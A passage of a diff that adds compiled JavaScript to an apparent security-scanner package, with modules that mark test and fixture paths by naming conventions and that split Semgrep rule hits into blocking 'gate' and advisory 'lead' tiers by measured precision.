+        ['framework and platform configuration', ctx.select(['next.config.*', 'nuxt.config.*', 'vite.config.*', 'vercel.json', 'netlify.toml', 'firebase.json', 'supabase/config.toml', '**/settings.py', 'app.json', 'app.config.*'])],
+    ];
+    return {
+        schema_version: '1.0.0',
+        files_listed: ctx.files.length,
+        surfaces: kinds.map(([kind, files]) => ({ kind, count: files.length, files: files.slice(0, MAX_LISTED) })),
+    };
+}

package/dist/report/test-code.js

@@ -0,0 +1,51 @@
+// Test code: findings in test, fixture, spec, mock and example files are kept, marked as test code and reported apart.
+// They never fail a requirement or reach the gate, except for requirements whose subject is test material that ships
+// (TEST_ARTIFACT_IDS), where a test file is exactly the thing the requirement is about.
+import { existsSync, readFileSync } from 'node:fs';
+import { fileURLToPath } from 'node:url';
+// A path is test code when a folder in it, or its file name, follows a convention the language's own tools use:
+//
+// | Kind | Folder names (any folder in the path, any case) | File names |
+// |---|---|---|
+// | any language | test, tests, __tests__, __test__, spec, specs, e2e, cypress, __mocks__, mocks, mock, fixtures, fixture, __fixtures__, testdata, test-data, test_data, testfixtures, androidtest, example, examples, sample, samples | |
+// | JavaScript, TypeScript | | *.test.*, *.spec.*, *.e2e.*, *.cy.*, *.mock.*, *.fixture.*, *.fixtures.* (js, jsx, ts, tsx, mjs, cjs, mts, cts) |
+// | Python | | test_*.py, *_test.py, conftest.py, tests.py |
+// | Go | | *_test.go (testdata/ is Go's fixture folder, above) |
+// | Java, Kotlin, Groovy, Scala | | *Test, *Tests, *IT, *Spec (.java, .kt, .groovy, .scala); src/test/ through the folder rule |
+// | PHP | | *Test.php |
+// | Ruby | | *_spec.rb, *_test.rb |
+// | C# | | *Test.cs, *Tests.cs |
+// | Dart | | *_test.dart |
+//
+// "testing" is not on the list: Go and Python use it for shipped helper packages. A production file that happens to sit
+// in a folder named like this (an `examples/` folder that is deployed, for instance) is still marked test code; the
+// report lists every such record so a person can see it.
+const TEST_FOLDERS = new Set([
+    'test', 'tests', '__tests__', '__test__', 'spec', 'specs', 'e2e', 'cypress', '__mocks__', 'mocks', 'mock', 'fixtures',
+    'fixture', '__fixtures__', 'testdata', 'test-data', 'test_data', 'testfixtures', 'androidtest', 'example', 'examples',
+    'sample', 'samples',
+]);
+const TEST_FILES = [
+    { re: /\.(test|spec|e2e|cy|mock|fixtures?)\.[cm]?[jt]sx?$/i, kind: 'JavaScript or TypeScript test file name' },
+    { re: /^(test_.*|.*_test|conftest|tests)\.py$/, kind: 'Python test file name' },
+    { re: /_test\.go$/, kind: 'Go test file name' },
+    { re: /(Test|Tests|IT|Spec)\.(java|kt|groovy|scala)$/, kind: 'JVM test class name' },
+    { re: /Test\.php$/, kind: 'PHP test class name' },
+    { re: /_(spec|test)\.rb$/, kind: 'Ruby test file name' },
+    { re: /Tests?\.cs$/, kind: 'C# test class name' },
+    { re: /_test\.dart$/, kind: 'Dart test file name' },
+];
+// Requirements about test material in the shipped product (test routes, seed scripts and sample code kept out of
+// production, seed and fixture data kept out of the migration chain): a hit in a test path still fails these. The IDs
+// are data in rules/test-artifact-ids.json, so each edition of the rules lists the ones it has.
+const ARTIFACT_FILE = fileURLToPath(new URL('../../rules/test-artifact-ids.json', import.meta.url));
+export const TEST_ARTIFACT_IDS = new Set(existsSync(ARTIFACT_FILE) ? JSON.parse(readFileSync(ARTIFACT_FILE, 'utf8')).sec_ids : []);
+// Why a repository relative POSIX path counts as test code, or null when it does not.
+export function testCodeReason(file) {
+    const parts = file.split('/');
+    const name = parts.pop() ?? '';
+    const folder = parts.find((p) => TEST_FOLDERS.has(p.toLowerCase()));
+    if (folder)
+        return `folder ${folder}/`;
+    return TEST_FILES.find((t) => t.re.test(name))?.kind ?? null;
+}

package/dist/report/tiers.js

@@ -0,0 +1,44 @@
+// Rule confidence tiers (rules/tiers.json). A Semgrep rule is "gate" or "lead". A gate rule's hit fails its requirements
+// as before. A lead rule's hit is listed in the report as a lead and never fails a requirement or holds the gate.
+// The tier comes from measurement: a rule whose measured precision is below the threshold in the file is a lead until a
+// later measurement raises it. A rule not in the file keeps a default: engine taint rules (taint-*.yaml, rule ids
+// hullproof-taint-*) are leads, every other rule is gate, which is how the kit rules with fixtures behaved before tiers.
+// Gitleaks hits, Semgrep rules mapped to a SEC-SECRETS ID, engine checks, Trivy and OSV are always gate.
+import { existsSync, readFileSync } from 'node:fs';
+import { dirname, join } from 'node:path';
+// The tier file sits next to each Semgrep rule folder (rules/tiers.json, and a tier file next to a rule pack). Later folders (the rule
+// pack) win for the same rule id; the threshold and minimum come from the first file found.
+const DEFAULT = { threshold: 0.8, min_judged: 3, rules: {} };
+export function loadTiers(semgrepDirs) {
+    const files = semgrepDirs.map((d) => join(dirname(d), 'tiers.json')).filter((p) => existsSync(p)).map((p) => JSON.parse(readFileSync(p, 'utf8')));
+    if (!files.length)
+        return DEFAULT;
+    return { threshold: files[0].threshold, min_judged: files[0].min_judged, rules: Object.assign({}, ...files.map((f) => f.rules)) };
+}
+// A hit that is about a secret: a live key is a leak wherever it is committed, so it always holds the gate.
+export const isSecretHit = (h) => h.tool === 'gitleaks' || h.sec_ids.some((id) => id.startsWith('SEC-SECRETS-'));
+// The tier entry for a hit, or null when the hit is gate.
+export function leadTier(h, t) {
+    if (h.tool !== 'semgrep' || isSecretHit(h))
+        return null;
+    const e = t.rules[h.rule_id] ?? (h.rule_id.startsWith('hullproof-taint-')
+        ? { tier: 'lead', precision: null, judged: 0, evidence: 'not measured yet', date: null } : null);
+    return e && e.tier === 'lead' ? e : null;
+}
+// An engine check that reads the code map (check.map.*) is a lead until a measurement puts it in tiers.json with a precision at
+// or above the threshold. Every other engine check is gate, as before.
+export const isMapCheck = (id) => id.startsWith('check.map.');
+export function leadTierForCheck(id, t) {
+    if (!isMapCheck(id))
+        return null;
+    const e = t.rules[id] ?? { tier: 'lead', precision: null, judged: 0, evidence: 'not measured yet', date: null };
+    return e.tier === 'lead' ? e : null;
+}
+// Plain English reason for a lead record.
+export function leadReason(e, t) {
+    if (e.precision === null || e.judged === 0)
+        return 'this rule has not been measured yet';
+    const m = `precision ${e.precision.toFixed(2)} on ${e.judged} judged hits (${e.evidence}, ${e.date})`;
+    const need = Math.max(t.min_judged, e.needs_judged ?? 0);
+    return e.judged < need ? `${m}, fewer than the ${need} needed to change its default` : `${m}, below ${t.threshold.toFixed(2)}`;
+}